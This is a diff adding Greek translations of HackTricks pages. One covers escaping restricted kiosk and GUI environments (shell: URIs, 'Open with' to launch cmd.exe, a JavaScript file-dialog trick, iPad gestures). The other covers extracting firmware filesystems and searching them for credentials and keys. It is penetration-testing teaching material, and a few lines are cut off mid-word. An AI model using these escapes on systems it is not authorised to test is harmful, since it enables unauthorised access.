<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
|
||||||
|
# Ελέγξτε για πιθανές ενέργειες μέσα στην εφαρμογή GUI
|
||||||
|
|
||||||
|
Οι **Κοινές Διάλογοι** είναι αυτές οι επιλογές για **αποθήκευση αρχείου**, **ανοιγμα αρχείου**, επιλογή γραμματοσειράς, χρώματος... Οι περισσότερες από αυτές θα **προσφέρουν μια πλήρη λειτουργικότητα του Explorer**. Αυτό σημαίνει ότι θα μπορείτε να έχετε πρόσβαση σε λειτουργίες του Explorer εάν έχετε πρόσβαση σε αυτές τις επιλογές:
|
||||||
|
|
||||||
|
* Κλείσιμο/Κλείσιμο ως
|
||||||
|
* Άνοιγμα/Άνοιγμα με
|
||||||
|
* Εκτύπωση
|
||||||
|
* Εξαγωγή/Εισαγωγή
|
||||||
|
* Αναζήτηση
|
||||||
|
* Σάρωση
|
||||||
|
|
||||||
|
Θα πρέπει να ελέγξετε εάν μπορείτε:
|
||||||
|
|
||||||
|
* Να τροποποιήσετε ή να δημιουργήσετε νέα αρχεία
|
||||||
|
* Να δημιουργήσετε συμβολικούς συνδέσμους
|
||||||
|
* Να έχετε πρόσβαση σε περιορισμένες περιοχές
|
||||||
|
* Να εκτελέσετε άλλες εφαρμογές
|
||||||
|
|
||||||
|
## Εκτέλεση Εντολών
|
||||||
|
|
||||||
|
Ίσως **χρησιμοποιώντας την επιλογή `Άνοιγμα με`** μπορείτε να ανοίξετε/εκτελέσετε κάποιο είδος κέλυφους.
|
||||||
|
|
||||||
|
### Windows
|
||||||
|
|
||||||
|
Για παράδειγμα _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ βρείτε περισσότερα δυαδικά που μπορούν να χρησιμοποιηθούν για την εκτέλεση εντολών (και για την εκτέλεση απροσδόκητων ενεργειών) εδώ: [https://lolbas-project.github.io/](https://lolbas-project.github.io)
|
||||||
|
|
||||||
|
### \*NIX __
|
||||||
|
|
||||||
|
_bash, sh, zsh..._ Περισσότερα εδώ: [https://gtfobins.github.io/](https://gtfobins.github.io)
|
||||||
|
|
||||||
|
# Windows
|
||||||
|
|
||||||
|
## Παράκαμψη περιορισμών διαδρομής
|
||||||
|
|
||||||
|
* **Μεταβλητές περιβάλλοντος**: Υπάρχουν πολλές μεταβλητές περιβάλλοντος που δείχνουν σε κάποια διαδρομή
|
||||||
|
* **Άλλα πρωτόκολλα**: _about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_
|
||||||
|
* **Συμβολικοί σύνδεσμοι**
|
||||||
|
* **Συντομεύσεις**: CTRL+N (ανοίγει νέα συνεδρία), CTRL+R (Εκτέλεση Εντολών), CTRL+SHIFT+ESC (Διαχειριστής Εργασιών), Windows+E (ανοίγει τον εξερευνητή), CTRL-B, CTRL-I (Αγαπημένα), CTRL-H (Ιστορικό), CTRL-L, CTRL-O (Διάλογος Ανοίγματος Αρχείου), CTRL-P (Διάλογος Εκτύπωσης), CTRL-S (Αποθήκευση ως)
|
||||||
|
* Κρυφό μενού Διαχειριστή: CTRL-ALT-F8, CTRL-ESC-F9
|
||||||
|
* **URI του κέλυφους**: _shell:Εργαλεία Διαχείρισης, shell:ΒιβλιοθήκεςΕγγράφων, shell:Βιβλιοθήκες, shell:ΠροφίλΧρηστών, shell:Προσωπικό, shell:ΦάκελοςΑναζήτησης, shell:Σύστημαshell:ΦάκελοςΔικτύου, shell:ΣτείλεΣε, shell:ΠροφίλΧρηστών, shell:Κοινά Εργαλεία Διαχείρισης, shell:ΥπολογιστήςΦάκελος, shell:ΦάκελοςInternet,_
|
||||||
|
* **Διαδρομές UNC**: Διαδρομές για σύνδεση σε κοινόχ
|
||||||
|
## Σάρωση
|
||||||
|
|
||||||
|
* Σαρώστε από την αριστερή πλευρά προς τη δεξιά για να δείτε όλα τα ανοιχτά παράθυρα, ελαχιστοποιώντας την εφαρμογή KIOSK και έχοντας πρόσβαση στον πλήρη λειτουργικό σύστημα απευθείας.
|
||||||
|
* Σαρώστε από τη δεξιά πλευρά προς την αριστερά για να ανοίξετε το Κέντρο Δράσης, ελαχιστοποιώντας την εφαρμογή KIOSK και έχοντας πρόσβαση στον πλήρη λειτουργικό σύστημα απευθείας.
|
||||||
|
* Σαρώστε από την επάνω άκρη προς τα μέσα για να εμφανιστεί η γραμμή τίτλου για μια εφαρμογή που έχει ανοίξει σε πλήρη οθόνη.
|
||||||
|
* Σαρώστε προς τα πάνω από το κάτω μέρος για να εμφανιστεί η γραμμή εργασιών σε μια εφαρμογή πλήρους οθόνης.
|
||||||
|
|
||||||
|
## Κόλπα Internet Explorer
|
||||||
|
|
||||||
|
### 'Εργαλειοθήκη εικόνων'
|
||||||
|
|
||||||
|
Είναι μια εργαλειοθήκη που εμφανίζεται στην πάνω αριστερή γωνία της εικόνας όταν γίνεται κλικ. Θα μπορείτε να Αποθηκεύσετε, Εκτυπώσετε, Αποστολή μέσω ηλεκτρονικού ταχυδρομείου, Ανοίξτε το "Οι εικόνες μου" στον Εξερευνητή. Το Kiosk πρέπει να χρησιμοποιεί τον Internet Explorer.
|
||||||
|
|
||||||
|
### Πρωτόκολλο Shell
|
||||||
|
|
||||||
|
Πληκτρολογήστε αυτές τις διευθύνσεις URL για να αποκτήσετε μια προβολή του Εξερευνητή:
|
||||||
|
|
||||||
|
* `shell:Administrative Tools`
|
||||||
|
* `shell:DocumentsLibrary`
|
||||||
|
* `shell:Libraries`
|
||||||
|
* `shell:UserProfiles`
|
||||||
|
* `shell:Personal`
|
||||||
|
* `shell:SearchHomeFolder`
|
||||||
|
* `shell:NetworkPlacesFolder`
|
||||||
|
* `shell:SendTo`
|
||||||
|
* `shell:UserProfiles`
|
||||||
|
* `shell:Common Administrative Tools`
|
||||||
|
* `shell:MyComputerFolder`
|
||||||
|
* `shell:InternetFolder`
|
||||||
|
* `Shell:Profile`
|
||||||
|
* `Shell:ProgramFiles`
|
||||||
|
* `Shell:System`
|
||||||
|
* `Shell:ControlPanelFolder`
|
||||||
|
* `Shell:Windows`
|
||||||
|
* `shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}` --> Πίνακας Ελέγχου
|
||||||
|
* `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}` --> Ο υπολογιστής μου
|
||||||
|
* `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> Οι τοποθεσίες του δικτύου μου
|
||||||
|
* `shell:::{871C5380-42A0-1069-A2EA-08002B30309D}` --> Internet Explorer
|
||||||
|
|
||||||
|
## Εμφάνιση Επεκτάσεων Αρχείων
|
||||||
|
|
||||||
|
Ελέγξτε αυτήν τη σελίδα για περισσότερες πληροφορίες: [https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml)
|
||||||
|
|
||||||
|
# Κόλπα περιηγητών
|
||||||
|
|
||||||
|
Αντίγραφο ασφαλείας των εκδόσεων iKat:
|
||||||
|
|
||||||
|
[http://swin.es/k/](http://swin.es/k/)\
|
||||||
|
[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\
|
||||||
|
|
||||||
|
Δημιουργήστε ένα κοινό διάλογο χρησιμοποιώντας JavaScript και αποκτήστε πρόσβαση στον εξερευνητή αρχείων: `document.write('<input/type=file>')`
|
||||||
|
Πηγή: https://medium.com/@Rend_/give-me-a-browser-ill-give-you-a-shell-de19811defa0
|
||||||
|
|
||||||
|
# iPad
|
||||||
|
|
||||||
|
## Χειρονομίες και κουμπιά
|
||||||
|
|
||||||
|
* Σαρώστε προς τα πάνω με τέσσερα (ή πέντε) δάχτυλα / Διπλό πάτημα στο κουμπί Αρχικής σελίδας: Για να δείτε την προβολή πολλαπλών εργασιών και να αλλάξετε εφαρμογή.
|
||||||
|
|
||||||
|
* Σαρώστε προς τη μία ή την άλλη κατεύθυνση με τέσσερα ή πέντε δάχτυλα: Προκειμένου να αλλάξετε στην επόμενη/προηγούμενη εφαρμογή.
|
||||||
|
|
||||||
|
* Κλείστε την οθόνη με πέντε δάχτυλα / Αγγίξτε το κουμπί Αρχικής σελίδας / Σαρώστε προς τα πάνω με ένα δάχτυλο από το κάτω μέρος της οθόνης με γρήγορη κίνηση προς τα πάνω: Για να αποκτήσετε πρόσβαση στην Αρχική σελίδα.
|
||||||
|
|
||||||
|
* Σαρώστε με ένα δάχτυλο από το κάτω μέρος της οθόνης με αργή κίνηση 1-2 ίντσες: Θα εμφανιστεί η γραμμή εργαλείων.
|
||||||
|
|
||||||
|
* Σαρώστε προς τα κάτω από την κορυφή της οθόνης με ένα δάχτυλο: Για να δείτε τις ειδοποιήσεις σας.
|
||||||
|
|
||||||
|
* Σαρώστε προς τα κάτω με ένα δάχτυλο στην πάνω δεξιά γωνία της οθόνης: Για να δείτε το κέντρο ελέγχου του iPad Pro.
|
||||||
|
|
||||||
|
* Σαρώστε ένα δάχτυλο α
|
||||||
|
### Συντομεύσεις Safari
|
||||||
|
|
||||||
|
| Συντόμευση | Ενέργεια |
|
||||||
|
| ----------------------- | ------------------------------------------------- |
|
||||||
|
| ⌘L (Command-L) | Άνοιγμα τοποθεσίας |
|
||||||
|
| ⌘T | Άνοιγμα νέας καρτέλας |
|
||||||
|
| ⌘W | Κλείσιμο τρέχουσας καρτέλας |
|
||||||
|
| ⌘R | Ανανέωση τρέχουσας καρτέλας |
|
||||||
|
| ⌘. | Διακοπή φόρτωσης τρέχουσας καρτέλας |
|
||||||
|
| ^⇥ | Μετάβαση στην επόμενη καρτέλα |
|
||||||
|
| ^⇧⇥ (Control-Shift-Tab) | Μετάβαση στην προηγούμενη καρτέλα |
|
||||||
|
| ⌘L | Επιλογή του πεδίου κειμένου/URL για τροποποίηση |
|
||||||
|
| ⌘⇧T (Command-Shift-T) | Άνοιγμα τελευταίας κλεισμένης καρτέλας (μπορεί να χρησιμοποιηθεί πολλές φορές) |
|
||||||
|
| ⌘\[ | Πήγαινε πίσω μια σελίδα στο ιστορικό περιήγησής σας |
|
||||||
|
| ⌘] | Πήγαινε μπροστά μια σελίδα στο ιστορικό περιήγησής σας |
|
||||||
|
| ⌘⇧R | Ενεργοποίηση της λειτουργίας ανάγνωσης |
|
||||||
|
|
||||||
|
### Συντομεύσεις Mail
|
||||||
|
|
||||||
|
| Συντόμευση | Ενέργεια |
|
||||||
|
| -------------------------- | ---------------------------- |
|
||||||
|
| ⌘L | Άνοιγμα τοποθεσίας |
|
||||||
|
| ⌘T | Άνοιγμα νέας καρτέλας |
|
||||||
|
| ⌘W | Κλείσιμο τρέχουσας καρτέλας |
|
||||||
|
| ⌘R | Ανανέωση τρέχουσας καρτέλας |
|
||||||
|
| ⌘. | Διακοπή φόρτωσης τρέχουσας καρτέλας |
|
||||||
|
| ⌘⌥F (Command-Option/Alt-F) | Αναζήτηση στο εισερχόμενο ταχυδρομείο σας |
|
||||||
|
|
||||||
|
# Αναφορές
|
||||||
|
|
||||||
|
* [https://www.macworld.com/article/2975857/6-only-for-ipad-gestures-you-need-to-know.html](https://www.macworld.com/article/2975857/6-only-for-ipad-gestures-you-need-to-know.html)
|
||||||
|
* [https://www.tomsguide.com/us/ipad-shortcuts,news-18205.html](https://www.tomsguide.com/us/ipad-shortcuts,news-18205.html)
|
||||||
|
* [https://thesweetsetup.com/best-ipad-keyboard-shortcuts/](https://thesweetsetup.com/best-ipad-keyboard-shortcuts/)
|
||||||
|
* [http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html](http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html)
|
||||||
|
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Συμμετάσχετε** 💬 στην [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο github.
|
||||||
|
|
||||||
|
</details>
|
264
hardware-physical-access/firmware-analysis/README.md
Normal file
264
hardware-physical-access/firmware-analysis/README.md
Normal file
|
@ -0,0 +1,264 @@
|
||||||
|
# Firmware Analysis
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
## **Εισαγωγή**
|
||||||
|
|
||||||
|
Το firmware είναι ουσιαστικό λογισμικό που επιτρέπει στις συσκευές να λειτουργούν σωστά διαχειριζόμενο και διευκολύνοντας την επικοινωνία μεταξύ των υλικών συστατικών και του λογισμικού με το οποίο αλληλεπιδρούν οι χρήστες. Αποθηκεύεται σε μόνιμη μνήμη, εξασφαλίζοντας ότι η συσκευή μπορεί να έχει πρόσβαση σε ζωτικές οδηγίες από τη στιγμή που ενεργοποιείται, οδηγώντας στην εκκίνηση του λειτουργικού συστήματος. Η εξέταση και η πιθανή τροποποίηση του firmware είναι ένα κρίσιμο βήμα για την εντοπισμό ασφαλείας.
|
||||||
|
|
||||||
|
## **Συλλογή Πληροφοριών**
|
||||||
|
|
||||||
|
Η **συλλογή πληροφοριών** είναι ένα κρίσιμο αρχικό βήμα για την κατανόηση της δομής μιας συσκευής και των τεχνολογιών που χρησιμοποιεί. Αυτή η διαδικασία περιλαμβάνει τη συλλογή δεδομένων για:
|
||||||
|
|
||||||
|
* Την αρχιτεκτονική της CPU και το λειτουργικό σύστημα που εκτελεί
|
||||||
|
* Τις λεπτομέρειες του bootloader
|
||||||
|
* Τη διάταξη του υλικού και τις τεχνικές προδιαγραφές
|
||||||
|
* Τις μετρήσεις του κώδικα και τις τοποθεσίες πηγαίου κώδικα
|
||||||
|
* Τις εξωτερικές βιβλιοθήκες και τους τύπους αδειών
|
||||||
|
* Τις ιστορικές ενημερώσεις και τις πιστοποιήσεις ρύθμισης
|
||||||
|
* Τα αρχιτεκτονικά και τα διαγράμματα ροής
|
||||||
|
* Τις αξιολογήσεις ασφαλείας και τις εντοπισμένες ευπάθειες
|
||||||
|
|
||||||
|
Για αυτόν τον σκοπό, τα εργαλεία **ανοικτής πηγής πληροφορίας (OSINT)** είναι ανεκτίμητα, όπως και η ανάλυση οποιωνδήποτε διαθέσιμων συστατικών λογισμικού ανοικτού κώδικα μέσω μη αυτόματων και αυτόματων διαδικασιών αναθεώρησης. Εργαλεία όπως το [Coverity Scan](https://scan.coverity.com) και το [Semmle’s LGTM](https://lgtm.com/#explore) προσφέρουν δωρεάν στατική ανάλυση που μπορεί να αξιοποιηθεί για την εύρεση πιθανών προβλημάτων.
|
||||||
|
|
||||||
|
## **Απόκτηση του Firmware**
|
||||||
|
|
||||||
|
Η απόκτηση του firmware μπορεί να γίνει με διάφορους τρόπους, καθένας με το δικό του επίπεδο πολυπλοκότητας:
|
||||||
|
|
||||||
|
* **Απευθείας** από την πηγή (προγραμματιστές, κατασκευαστές)
|
||||||
|
* **Κατασκευή** από παρεχόμενες οδηγίες
|
||||||
|
* **Λήψη** από επίσημους ιστότοπους υποστήριξης
|
||||||
|
* Χρήση **ερωτημάτων Google dork** για την εύρεση φιλοξενούμενων αρχείων firmware
|
||||||
|
* Πρόσβαση σε **αποθήκευση στο cloud** απευθείας, με εργαλεία όπως το [S3Scanner](https://github.com/sa7mon/S3Scanner)
|
||||||
|
* Παρεμβολή **ενημερώσεων** μέσω τεχνικών man-in-the-middle
|
||||||
|
* **Εξαγωγή** από τη συσκευή μέσω συνδέσεων όπως **UART**, **JTAG** ή **PICit**
|
||||||
|
* **Καταγραφή** αιτημάτων ενημέρωσης εντός της επικοινωνίας της συσκευής
|
||||||
|
* Εντοπισμός και χρήση **σκληροκωδικοποιημένων σημείων ενημέρωσης**
|
||||||
|
* **Ανάκτηση** από τον bootloader ή το δίκτυο
|
||||||
|
* **Αφαίρεση και ανάγνωση** του επίπεδου αποθήκευσης, όταν αποτυγχάνουν όλα τα άλλα, χρησιμοποιώντας κατάλληλα εργαλεία υλικού
|
||||||
|
|
||||||
|
## Ανάλυση του firmware
|
||||||
|
|
||||||
|
Τώρα που **έχετε το firmware**, πρέπει να εξάγετε πληροφορίες για αυτό για να ξέρετε πώς να το χειριστείτε. Διάφορα εργαλεία που μπορείτε να χρησιμοποιήσετε για αυτό:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
file <bin>
|
||||||
|
strings -n8 <bin>
|
||||||
|
strings -tx <bin> #print offsets in hex
|
||||||
|
hexdump -C -n 512 <bin> > hexdump.out
|
||||||
|
hexdump -C <bin> | head # might find signatures in header
|
||||||
|
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
|
||||||
|
```
|
||||||
|
|
||||||
|
Εάν δεν βρείτε πολλά με αυτά τα εργαλεία, ελέγξτε την **εντροπία** της εικόνας με την εντολή `binwalk -E <bin>`. Εάν η εντροπία είναι χαμηλή, τότε πιθανότατα δεν είναι κρυπτογραφημένη. Εάν η εντροπία είναι υψηλή, τότε πιθανότατα είναι κρυπτογραφημένη (ή συμπιεσμένη με κάποιον τρόπο).
|
||||||
|
|
||||||
|
Επιπλέον, μπορείτε να χρησιμοποιήσετε αυτά τα εργαλεία για να εξάγετε **αρχεία που είναι ενσωματωμένα στο firmware**:
|
||||||
|
|
||||||
|
{% content-ref url="../../generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md" %}
|
||||||
|
[file-data-carving-recovery-tools.md](../../generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
Ή [**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive/p/binvis/)) για να επιθεωρήσετε το αρχείο.
|
||||||
|
|
||||||
|
### Απόκτηση του Συστήματος Αρχείων
|
||||||
|
|
||||||
|
Με τα προηγούμενα εργαλεία που αναφέρθηκαν, όπως `binwalk -ev <bin>`, θα πρέπει να έχετε καταφέρει να **εξάγετε το σύστημα αρχείων**.\
|
||||||
|
Το Binwalk συνήθως το εξάγει μέσα σε ένα **φάκελο με το όνομα του τύπου του συστήματος αρχείων**, που συνήθως είναι ένα από τα παρακάτω: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
|
||||||
|
|
||||||
|
#### Χειροκίνητη Εξαγωγή Συστήματος Αρχείων
|
||||||
|
|
||||||
|
Μερικές φορές, το binwalk **δεν έχει το μαγικό byte του συστήματος αρχείων στις υπογραφές του**. Σε αυτές τις περιπτώσεις, χρησιμοποιήστε το binwalk για να **βρείτε τη θέση του συστήματος αρχείων και να ανακόψετε το συμπιεσμένο σύστημα αρχείων** από το δυαδικό αρχείο και **εξάγετε χειροκίνητα** το σύστημα αρχείων ανάλογα με τον τύπο του χρησιμοποιώντας τα παρακάτω βήματα.
|
||||||
|
|
||||||
|
```
|
||||||
|
$ binwalk DIR850L_REVB.bin
|
||||||
|
|
||||||
|
DECIMAL HEXADECIMAL DESCRIPTION
|
||||||
|
----------------------------------------------------------------------------- ---
|
||||||
|
|
||||||
|
0 0x0 DLOB firmware header, boot partition: """"dev=/dev/mtdblock/1""""
|
||||||
|
10380 0x288C LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5213748 bytes
|
||||||
|
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
|
||||||
|
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
|
||||||
|
```
|
||||||
|
|
||||||
|
Εκτελέστε την ακόλουθη εντολή **dd** για να ανακτήσετε το αρχείο συστήματος Squashfs.
|
||||||
|
|
||||||
|
```
|
||||||
|
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||||
|
|
||||||
|
8257536+0 records in
|
||||||
|
|
||||||
|
8257536+0 records out
|
||||||
|
|
||||||
|
8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s
|
||||||
|
```
|
||||||
|
|
||||||
|
Εναλλακτικά, μπορεί να εκτελεστεί και η παρακάτω εντολή.
|
||||||
|
|
||||||
|
`$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs`
|
||||||
|
|
||||||
|
* Για το squashfs (που χρησιμοποιείται στο παράδειγμα παραπάνω)
|
||||||
|
|
||||||
|
`$ unsquashfs dir.squashfs`
|
||||||
|
|
||||||
|
Τα αρχεία θα βρίσκονται στον φάκελο "`squashfs-root`" αφού ολοκληρωθεί η διαδικασία.
|
||||||
|
|
||||||
|
* Αρχεία αρχειοθήκης CPIO
|
||||||
|
|
||||||
|
`$ cpio -ivd --no-absolute-filenames -F <bin>`
|
||||||
|
|
||||||
|
* Για τα αρχεία συστήματος jffs2
|
||||||
|
|
||||||
|
`$ jefferson rootfsfile.jffs2`
|
||||||
|
|
||||||
|
* Για τα αρχεία συστήματος ubifs με NAND flash
|
||||||
|
|
||||||
|
`$ ubireader_extract_images -u UBI -s <start_offset> <bin>`
|
||||||
|
|
||||||
|
`$ ubidump.py <bin>`
|
||||||
|
|
||||||
|
## Ανάλυση Λογισμικού
|
||||||
|
|
||||||
|
Μόλις αποκτηθεί το λογισμικό, είναι απαραίτητο να αναλυθεί για να κατανοήσουμε τη δομή του και τυχόν ευπάθειες. Αυτή η διαδικασία περιλαμβάνει τη χρήση διάφορων εργαλείων για την ανάλυση και εξαγωγή πολύτιμων δεδομένων από την εικόνα του λογισμικού.
|
||||||
|
|
||||||
|
### Εργαλεία Αρχικής Ανάλυσης
|
||||||
|
|
||||||
|
Παρέχεται ένα σύνολο εντολών για τον αρχικό έλεγχο του δυαδικού αρχείου (αναφέρεται ως `<bin>`). Αυτές οι εντολές βοηθούν στον προσδιορισμό των τύπων αρχείων, την εξαγωγή συμβολοσειρών, την ανάλυση δυαδικών δεδομένων και την κατανόηση των λεπτομερειών των διαμερισμάτων και του συστήματος αρχείων:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
file <bin>
|
||||||
|
strings -n8 <bin>
|
||||||
|
strings -tx <bin> #prints offsets in hexadecimal
|
||||||
|
hexdump -C -n 512 <bin> > hexdump.out
|
||||||
|
hexdump -C <bin> | head #useful for finding signatures in the header
|
||||||
|
fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
|
||||||
|
```
|
||||||
|
|
||||||
|
Για να αξιολογηθεί η κατάσταση κρυπτογράφησης της εικόνας, ελέγχεται η **εντροπία** με την εντολή `binwalk -E <bin>`. Χαμηλή εντροπία υποδηλώνει έλλειψη κρυπτογράφησης, ενώ υψηλή εντροπία υποδηλώνει πιθανή κρυπτογράφηση ή συμπίεση.
|
||||||
|
|
||||||
|
Για την εξαγωγή **ενσωματωμένων αρχείων**, συνιστώνται εργαλεία και πόροι όπως η τεκμηρίωση **file-data-carving-recovery-tools** και το **binvis.io** για τον έλεγχο των αρχείων.
|
||||||
|
|
||||||
|
### Εξαγωγή του Συστήματος Αρχείων
|
||||||
|
|
||||||
|
Χρησιμοποιώντας την εντολή `binwalk -ev <bin>`, συνήθως μπορεί να εξαχθεί το σύστημα αρχείων, συχνά σε έναν κατάλογο με το όνομα του τύπου του συστήματος αρχείων (π.χ. squashfs, ubifs). Ωστόσο, όταν το **binwalk** αποτυγχάνει να αναγνωρίσει τον τύπο του συστήματος αρχείων λόγω της απουσίας μαγικών bytes, απαιτείται χειροκίνητη εξαγωγή. Αυτό περιλαμβάνει τη χρήση του `binwalk` για τον εντοπισμό της μετατόπισης του συστήματος αρχείων, ακολουθούμενη από την εντολή `dd` για την αποκοπή του συστήματος αρχείων:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ binwalk DIR850L_REVB.bin
|
||||||
|
|
||||||
|
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||||
|
```
|
||||||
|
|
||||||
|
Στη συνέχεια, ανάλογα με τον τύπο του συστήματος αρχείων (π.χ. squashfs, cpio, jffs2, ubifs), χρησιμοποιούνται διάφορες εντολές για τη χειροκίνητη εξαγωγή των περιεχομένων.
|
||||||
|
|
||||||
|
### Ανάλυση Συστήματος Αρχείων
|
||||||
|
|
||||||
|
Μετά την εξαγωγή του συστήματος αρχείων, ξεκινά η αναζήτηση ευπάθειας ασφάλειας. Προσέχεται η αναζήτηση μη ασφαλών δαίμονων δικτύου, σκληροκωδικοποιημένων διαπιστευτηρίων, σημείων πρόσβασης στο API, λειτουργιών ενημέρωσης του διακομιστή, μη μεταγλωττισμένου κώδικα, εκκινητικών σεναρίων και μεταγλωττισμένων δυαδικών αρχείων για ανάλυση εκτός σύνδεσης.
|
||||||
|
|
||||||
|
**Κύριες τοποθεσίες** και **στοιχεία** που πρέπει να ελεγχθούν περιλαμβάνουν:
|
||||||
|
|
||||||
|
* **etc/shadow** και **etc/passwd** για διαπιστευτήρια χρήστη
|
||||||
|
* Πιστοποιητικά SSL και κλειδιά στο **etc/ssl**
|
||||||
|
* Αρχεία ρυθμίσεων και σεναρίων για πιθανές ευπάθειες
|
||||||
|
* Ενσωματωμένα δυαδικά αρχεία για περαιτέρω ανάλυση
|
||||||
|
* Κοινοί διακομιστές ιστοσελίδων και δυαδικά αρχεία συσκευών IoT
|
||||||
|
|
||||||
|
Πολλά εργαλεία βοηθούν στον εντοπισμό ευαίσθητων πληροφοριών και ευπαθειών εντός του συστήματος αρχείων:
|
||||||
|
|
||||||
|
* [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) και [**Firmwalker**](https://github.com/craigz28/firmwalker) για αναζήτηση ευαίσθητων πληροφοριών
|
||||||
